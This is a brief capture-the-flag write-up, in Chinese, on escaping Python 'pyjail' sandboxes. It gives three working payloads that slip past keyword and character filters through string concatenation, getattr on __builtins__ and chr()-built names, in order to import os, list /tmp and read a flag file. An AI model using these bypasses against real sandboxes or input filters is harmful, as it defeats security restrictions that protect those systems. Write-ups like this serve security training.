Pyjail
Pyjail1
1 | def chall(): |
禁用了[‘import’, ‘eval’, ‘exec’, ‘open’, ‘file’]
Payload1:
1 | "print(getattr(__builtins__, '__imp'+'ort__')('os').listdir('/tmp'))" |
执行系统命令来列出/tmp目录下的文件。
'__imp' + 'ort__'
拼接后形成 '__import__'
,但代码检查时不会检测到完整的'import'
字符串
getattr(__builtins__, '__imp'+'ort__')
的作用是:
__builtins__
是Python的一个内置模块,包含了所有内置函数和变量getattr(object, name)
函数返回对象的命名属性的值- 这里我们获取
__builtins__
模块中的__import__
函数
('os')
部分:
- 调用获取到的
__import__
函数,参数为'os'
- 这相当于执行了
import os
,但绕过了对import
关键字的直接检查
.listdir('/tmp')
部分:
- 调用导入的
os
模块的listdir
方法 listdir('/tmp')
会列出/tmp
目录下的所有文件和文件夹
Payload2:
1 | print(getattr(__builtins__, 'o'+'pen')('/tmp/flag.txt').read()) |
.read()
部分:
- 调用文件对象的
read
方法 - 这会读取文件的全部内容,并返回一个字符串
Pyjail2
1 | def chall(): |
payload
1 | print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()) |
- 禁止关键字:
import
,eval
,exec
,open
,file
- 禁止字符:
.
,_
,[
,]
,'
,"
解题思路
由于直接使用open
函数和点号访问属性被禁止,我们需要绕过过滤:
- 使用
chr()
函数通过ASCII码构造字符串,避免使用禁止字符。 - 使用
getattr()
函数通过字符串名称访问属性和方法,避免使用点号。 - 通过
globals()
和__builtins__
间接获取open
函数。 - 最终调用
open('/tmp/flag.txt').read()
读取文件内容,并用print
确保输出。